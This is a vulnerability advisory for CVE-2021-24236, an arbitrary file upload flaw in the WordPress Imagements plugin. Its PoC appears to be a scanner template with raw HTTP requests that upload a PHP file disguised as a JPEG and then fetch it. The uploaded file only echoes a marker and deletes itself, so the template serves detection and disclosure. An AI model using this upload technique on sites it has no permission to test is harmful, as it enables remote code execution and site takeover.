CVE-2021-24236: WordPress Imagements <=1.2.5 - Arbitrary File Upload

2025-08-01 WordPress Imagements PoC Public

Description

WordPress Imagements plugin through 1.2.5 is susceptible to arbitrary file upload which can lead to remote code execution. The plugin allows images to be uploaded in comments but only checks for the Content-Type in the request to forbid dangerous files. An attacker can upload arbitrary files by using a valid image Content-Type along with a PHP filename and code.

PoC

id: CVE-2021-24236

info:
  name: WordPress Imagements <=1.2.5 - Arbitrary File Upload
  author: pussycat0x
  severity: critical
  description: |
    WordPress Imagements plugin through 1.2.5 is susceptible to arbitrary file upload which can lead to remote code execution. The plugin allows images to be uploaded in comments but only checks for the Content-Type in the request to forbid dangerous files. An attacker can upload arbitrary files by using a valid image Content-Type along with a PHP filename and code.
  impact: |
    This vulnerability can lead to remote code execution and compromise the affected WordPress site.
  remediation: |
    Update WordPress Imagements plugin to version 1.2.6 or later to fix the arbitrary file upload vulnerability.
  reference:
    - https://wpscan.com/vulnerability/8f24e74f-60e3-4100-9ab2-ec31b9c9cdea
    - https://wordpress.org/plugins/imagements/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24236
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24236
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-24236
    cwe-id: CWE-434
    epss-score: 0.0714
    epss-percentile: 0.93942
    cpe: cpe:2.3:a:imagements_project:imagements:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: imagements_project
    product: imagements
    framework: wordpress
  tags: cve2021,cve,wp,unauth,imagements,wpscan,fileupload,wordpress,wp-plugin,intrusive,imagements_project,vuln

variables:
  php: "{{to_lower('{{randstr}}')}}.php"
  post: "1"
  string: "CVE-2021-24236"

http:
  - raw:
      - |
        POST /wp-comments-post.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIYl2Oz8ptq5OMtbU

        ------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
        Content-Disposition: form-data; name="comment"

        {{randstr}}
        ------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
        Content-Disposition: form-data; name="author"

        {{randstr}}
        ------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
        Content-Disposition: form-data; name="email"

        {{randstr}}@email.com
        ------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
        Content-Disposition: form-data; name="url"

        ------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
        Content-Disposition: form-data; name="checkbox"


        yes
        ------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
        Content-Disposition: form-data; name="naam"

        {{randstr}}
        ------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
        Content-Disposition: form-data; name="image"; filename="{{php}}"
        Content-Type: image/jpeg

        <?php echo md5("{{string}}");unlink(__FILE__);?>

        ------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
        Content-Disposition: form-data; name="submit"

        Post Comment
        ------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
        Content-Disposition: form-data; name="comment_post_ID"

        {{post}}
        ------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
        Content-Disposition: form-data; name="comment_parent"

        0
        ------WebKitFormBoundaryIYl2Oz8ptq5OMtbU--
      - |
        GET /wp-content/plugins/imagements/images/{{php}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body_2
        words:
          - '{{md5(string)}}'
# digest: 4b0a00483046022100ce2c6858663268746de8a5cd084c3e3ba016d78b9173db56f0c24e5b4b5198f5022100d76cb01ef7442766b7ec7cb38d4dd789f4d647e5b1a9d522373f5dcc99891c07:922c64590222798bb761d5b6d8e72950

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